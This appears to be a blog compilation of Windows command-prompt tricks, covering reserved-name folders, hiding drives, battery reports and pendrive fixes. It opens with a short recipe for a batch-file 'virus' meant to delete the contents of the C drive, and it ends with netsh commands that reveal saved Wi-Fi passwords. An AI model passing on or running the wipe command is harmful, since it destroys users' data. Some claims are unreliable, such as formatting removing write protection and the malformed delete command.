How to make a powerful virus in second that delete all content of C drive

To create this virus follow certain steps:

1.Open notepad and copy the below code into it.

     @Echo off
      Del C:\ *.* ly

2.Save this file as virus.bat .
3.Now, running this file will delete all content of C drive.

warning>>Please do not try to run on your computer. If you run you have to format your computer

How to create a undeletable and unrenameable folder using cmd

To perform this trick follow below steps:

1.Go to start and search run .
2.click on run .and type cmd and hit enter.(To open command prompt)
3.Type D: (for local disk D)  or  E: (for local disk E) and hit enter.
4.Type md con\  and hit enter.
5.You may also use words such as aux , lpt1 , lpt2 , lpt3 upto lpt9 instead of con in above step.
6.Now folder named con will be created in your local disk.
7.If you try to delete or rename that folder you will recieve a error message.

To delete that folder follow below steps:

1.Open cmd.
2.Type D: (If you create that folder in drive D: ) and hit enter.
3.type rd con\  and hit enter.
4.finally folder is removed.

How to recover data corrupted by virus in pendrive using cmd

Hello friend today I have came with a new trick to recover data corrupted by virus in your pendrive.This helps to convert shortcut files(created by virus) to an orginal file.Please follow simple steps below:

1. Plugin your pendrive to your computer.

2. Open cmd.

3.Type g: in cmd and enter.

4.Then type attrib -r -a -s -h -i /s /d /l *.* and enter.

5. Wait for a minute.

6.Look at your removable disk if you find your files recovered close cmd.

How to delete viruses from your pendrive using cmd

To delete viruses from your pendrive please follow steps below:

1.Open cmd
2.Type g: (this is pendrive disk name) and press enter.
3.Type dir (this selects directory) and enter.
4.Type del *.exe  (this will delete all exe file from the pendrive) and enter.

where undeletable files will also be deleted and virus too.

How To hide Local Disks in your computer using cmd

Hello guys if you want to know to  hide drives follow simple stpes below:

1.Click on start button and search run.
2.Run box will appear and type cmd on run box and enter.
3.Now cmd window will appear.
4.In cmd type Diskpart and press enter.
5.Then you will ask to confirm if you want to allow this program to make changes to this computer.Just click yes and new window appears.
6.Here you can see local disks with volumes and numbers.
7.I want to hide local disk E,so for this type select volume E and press enter.If you want to hide disk D type select volume D and press enter.
8.finally to hide disk E type Remove letter E and enter.

You have hide local disks now.

To get back local disks follow certain steps:

1.Perform upto 1,2,3,4,5 and 6 steps again.
2.In 7th step look at cmd and find number for local disks.for example:At right side of local disk E you can see volume 4 .so instead of select volume E you have to type  select volume 4 and enter.
3.In 8th step you have to type Assign letter E and enter.

You have sucessfully got drive back.

How to increase battery life in laptop

Hey guys today I have came with a new tutorial that help you to save your laptops battery life.Follow simple steps as follows:

1.Go to start menu and type cmd in searchbar.

2.You can see icon of cmd.Simply right click on it and select run as administrator.

3.cmd will open. Windows 7 users can simply write powercfg-energy and press enter.Windows 8 users should write powercfg/energy and press enter.

4.After this windows will run a complete scan of your system and find some ways to improve performence and power efficiency.

5.The result of this process will be saved to a html file which is commonly present in system32 folder.

6.To access this file simply follow the path which will be displayed in cmd window after completion of command.

7.Read the file to understand that what program in your system is consuming more  power and degrading the performence.

Extra Tricks to save battery life:
1.Eject or Remove external device such as pendrive,sd card,cd/dvd,etc.
2.Disable bluetooth if not use.
3.Reduce screen brightness.
4.Turn off internet if not in use.
5.Use laptop fan or cooler.

How to remove write protection in your pendrive and memory card

Hello friend before you proceed,what is write protection exactly? write protection iswhen the manufracturer locks the device down from being written and prevents unauthorized access to add change or delete the files in the device.write protection is good thing but also it's inconveinent.

Follow the simple steps to remove write protection in your pendrive and memory card:

note>>if you have important data in your pendrive please save those data in your computer because we are going to format it completely.

1.Plug your pendrive or memory card to your computer
2.Open cmd.
3.In cmd type F: and hit enter.
4.After this type format F: and press enter.
5.Now your pendrive is being formatted,wait until format is completed 100%
6.Close the cmd after format is completed.

Now your pendrive write protection is removed.

How to see wifi password using command prompt

Here I will show you how to see connected wifi password with the help of command prompt..Please follow certain steps below>>
Note>>you should not type the double quotes as shown below.

step 1>Go to command prompt.

step 2>Tpye "color a" in command  prompt.

step 3>After this type "netsh wlan show profiles".

step 4>Then you will see available wifi networks in command prompt.

step 5>Then type "netsh wlan show profiles .............".In place of ...........you have to wirte a name of wifi which you want to see password.

step 6>Then type"netsh wlan show profiles .............. key=clear".

step 7>The the password will be seen at key content like in picture below.